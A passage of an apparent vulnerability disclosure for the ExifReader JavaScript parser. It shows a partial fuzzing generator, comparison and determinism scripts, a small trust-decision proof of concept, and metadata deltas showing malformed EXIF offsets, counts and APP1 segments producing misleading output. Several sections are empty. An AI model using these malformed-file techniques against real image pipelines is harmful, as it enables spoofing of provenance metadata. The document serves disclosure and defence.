path.basename(file).replace(/[^\\w.-]/g, '_'); const headers = findExifHeaders(buf); if (headers.length === 0) continue; for (const hdr of headers) { mutateTypeConfusion(buf, hdr, base); mutateCountAbuse(buf, hdr, base); mutateCrossIfdConfusion(buf, hdr, base); mutateMultiSegmentAmbiguity(buf, hdr, base); } } console.log(`Generated advanced hunt corpus in: ${outDir}`);2. Metadata Comparison Script
This script was used to compare original metadata against malformed variants.
const fs = require('fs'); const ExifReader = require('exifreader'); const a = process.argv[2]; const b = process.argv[3]; function load(file) { const buf = fs.readFileSync(file); const tags = ExifReader.load(buf); const out = {}; for (const [k, v] of Object.entries(tags || {})) { out[k] = { id: v && v.id, value: v && v.value, description: v && v.description }; } return out; } const ta = load(a); const tb = load(b); console.log('=== only in A ==='); for (const k of Object.keys(ta)) { if (!(k in tb)) console.log(k, ta[k]); } console.log('=== only in B ==='); for (const k of Object.keys(tb)) { if (!(k in ta)) console.log(k, tb[k]); } console.log('=== changed ==='); for (const k of Object.keys(ta)) { if (k in tb) { const va = JSON.stringify(ta[k]); const vb = JSON.stringify(tb[k]); if (va !== vb) { console.log(k); console.log('A:', va); console.log('B:', vb); } } }3. Determinism Test Script
This script was used to prove stable misparse behavior across repeated runs.
const fs = require('fs'); const ExifReader = require('exifreader'); const file = process.argv[2]; const runs = 50; function extractSignature(tags) { return Object.keys(tags || {}).sort().join(','); } let results = new Map(); for (let i = 0; i < runs; i++) { try { const buf = fs.readFileSync(file); const tags = ExifReader.load(buf); const sig = extractSignature(tags); results.set(sig, (results.get(sig) || 0) + 1); } catch (e) { results.set('ERROR', (results.get('ERROR') || 0) + 1); } } console.log(results);4. Downstream Trust Pipeline PoC
This simple pipeline demonstrates the security consequence of misleading metadata.
const fs = require('fs'); const ExifReader = require('exifreader'); const buf = fs.readFileSync(process.argv[2]); const tags = ExifReader.load(buf); if (tags.Make && tags.Make.description.includes('Canon')) { console.log('Camera trusted'); } else { console.log('Unknown camera'); }Representative Case 1 - Offset Confusion
In this case, the first TIFF IFD offset was manipulated so that the parser followed an invalid but accepted structure. The parse completed successfully, but legitimate EXIF fields disappeared and a spurious tag emerged.
Representative File
Determinism Output
Observed Metadata Delta
=== only in A === Make { id: 271, value: [ 'Canon' ], description: 'Canon' } Model { id: 272, value: [ 'Canon EOS 7D' ], description: 'Canon EOS 7D' } ExposureTime { id: 33434, value: [ 180, 1 ], description: '180' } Exif IFD Pointer { id: 34665, value: 89, description: 89 } FNumber { id: 33437, value: [ 11, 1 ], description: 'f/11.0' } ISOSpeedRatings { id: 34855, value: [ 100, 0 ], description: '100, 0' } DateTimeOriginal { id: 36867, value: [ '2015:07:17 05:02:55' ], description: '2015:07:17 05:02:55' } Flash { id: 37385, value: [ 16, 0 ], description: 'Unknown' } FocalLength { id: 37386, value: [ 13, 1 ], description: '13 mm' } LensModel { id: 42036, value: [ '10-20mm' ], description: '10-20mm' }=== only in B ===
GrayResponseUnit { id: 290, value: [ '<faulty value>' ], description: 'Unknown' }
Impact Statement
A malformed offset was sufficient to suppress legitimate camera-identifying metadata and replace it with spurious TIFF-derived output, while the parser still returned success.
Representative Case 2 - Count / Type Abuse
In this case, EXIF-linked fields were destabilized through count and type manipulation affecting the EXIF IFD Pointer. The parser still completed successfully, but EXIF-linked output became invalid.
Representative Files
Observed Metadata Delta - Type Reinterpretation
=== only in A === FNumber { id: 33437, value: [ 11, 1 ], description: 'f/11.0' } ISOSpeedRatings { id: 34855, value: [ 100, 0 ], description: '100, 0' } DateTimeOriginal { id: 36867, value: [ '2015:07:17 05:02:55' ], description: '2015:07:17 05:02:55' } Flash { id: 37385, value: [ 16, 0 ], description: 'Unknown' } FocalLength { id: 37386, value: [ 13, 1 ], description: '13 mm' } LensModel { id: 42036, value: [ '10-20mm' ], description: '10-20mm' }=== only in B ===
=== changed ===
Exif IFD Pointer
A: {"id":34665,"value":89,"description":89}
B: {"id":34665,"value":0,"description":0}
Observed Metadata Delta - Count Abuse
=== only in A === FNumber { id: 33437, value: [ 11, 1 ], description: 'f/11.0' } ISOSpeedRatings { id: 34855, value: [ 100, 0 ], description: '100, 0' } DateTimeOriginal { id: 36867, value: [ '2015:07:17 05:02:55' ], description: '2015:07:17 05:02:55' } Flash { id: 37385, value: [ 16, 0 ], description: 'Unknown' } FocalLength { id: 37386, value: [ 13, 1 ], description: '13 mm' } LensModel { id: 42036, value: [ '10-20mm' ], description: '10-20mm' }=== only in B ===
=== changed ===
Exif IFD Pointer
A: {"id":34665,"value":89,"description":89}
B: {"id":34665,"value":"<faulty value>","description":"<faulty value>"}
Additional Observation
These cases reinforce that malformed count/type semantics can influence internal parser behavior without producing a controlled rejection.
Representative Case 3 - Multi-Segment Ambiguity
In this case, conflicting APP1/EXIF segments were introduced. The parser emitted its own warning that multiple EXIF segments were found and that it would pick the "best candidate segment". The selected result was still misleading.
Representative File
Observed Parser Warning
Observed Metadata Delta
=== only in A === Make { id: 271, value: [ 'Canon' ], description: 'Canon' } Model { id: 272, value: [ 'Canon EOS 7D' ], description: 'Canon EOS 7D' } ExposureTime { id: 33434, value: [ 180, 1 ], description: '180' } Exif IFD Pointer { id: 34665, value: 89, description: 89 } FNumber { id: 33437, value: [ 11, 1 ], description: 'f/11.0' } ISOSpeedRatings { id: 34855, value: [ 100, 0 ], description: '100, 0' } DateTimeOriginal { id: 36867, value: [ '2015:07:17 05:02:55' ], description: '2015:07:17 05:02:55' } Flash { id: 37385, value: [ 16, 0 ], description: 'Unknown' } FocalLength { id: 37386, value: [ 13, 1 ], description: '13 mm' } LensModel { id: 42036, value: [ '10-20mm' ], description: '10-20mm' }=== only in B ===
GrayResponseUnit { id: 290, value: [ '<faulty value>' ], description: 'Unknown' }
Downstream Trust Decision Impact
This is a concrete integrity impact. The same image-processing logic made a different trust decision solely because malformed EXIF/TIFF ambiguity was accepted and returned as successful metadata output.
Cross-Case Evidence of a Broader Vulnerability Class
The following grep results show that the malformed output pattern was not isolated to a single mutation.
grep -R "GrayResponseUnit\|faulty value" findings/ findings/NPBT_SC_background.jpg.multiseg_conflicting_app1_firstifd1.bin.json: "GrayResponseUnit": { findings/NPBT_SC_background.jpg.multiseg_conflicting_app1_firstifd1.bin.json: "<faulty value>" findings/first_ifd_one-tags.json: "GrayResponseUnit": { findings/first_ifd_one-tags.json: "<faulty value>" findings/NPBT_SC_background.jpg.countabuse_tag272_count2147483647.bin.json: "<faulty value>" findings/NPBT_SC_background.jpg.countabuse_tag272_count2147483647.bin.json: "description": "<faulty value>" findings/NPBT_SC_background.jpg.multiseg_dup_app1_after_exif.bin.json: "value": "<faulty value>", findings/NPBT_SC_background.jpg.multiseg_dup_app1_after_exif.bin.json: "description": "<faulty value>" findings/NPBT_SC_background.jpg.tag_34665_one.bin.json: "GrayResponseUnit": { findings/NPBT_SC_background.jpg.tag_34665_one.bin.json: "<faulty value>" findings/NPBT_SC_background.jpg.first_ifd_one.bin.json: "GrayResponseUnit": { findings/NPBT_SC_background.jpg.first_ifd_one.bin.json: "<faulty value>" findings/NPBT_SC_background.jpg.next_ifd_one.bin.json: "GrayResponseUnit": { findings/NPBT_SC_background.jpg.next_ifd_one.bin.json: "<faulty value>" findings/NPBT_SC_background.jpg.countabuse_tag34665_count2147483647.bin.json: "value": "<faulty value>", findings/NPBT_SC_background.jpg.countabuse_tag34665_count2147483647.bin.json: "description": "<faulty value>" findings/NPBT_SC_background.jpg.countabuse_tag271_count2147483647.bin.json: "<faulty value>" findings/NPBT_SC_background.jpg.countabuse_tag271_count2147483647.bin.json: "description": "<faulty value>"This confirms a broader parser confusion class involving malformed offsets, counts, tag types, and APP1 ambiguity.
Impact Assessment
The most important demonstrated impact is not raw parser instability, but successful production of semantically misleading metadata under malformed EXIF/TIFF conditions.
In security-sensitive systems, this can affect:
Expected Behavior
Malformed EXIF/TIFF structures should be rejected with a controlled parser error. The parser should not report success while returning semantically inconsistent metadata derived from invalid offset traversal, invalid count interpretation, invalid type reinterpretation, or conflicting APP1-segment selection.
Root Cause Hypothesis
The issue appears to stem from insufficient semantic validation of EXIF/TIFF structures before and during IFD traversal. Specifically:
Recommendations
Library-Side Recommendations
<faulty value>output in successful results.GrayResponseUnit,Application-Side Recommendations
<faulty value>, missing EXIF anchors, or spurious tag emergence as indicators of malformed input.Suggested Advisory Metadata
Maintainer-Facing Short Summary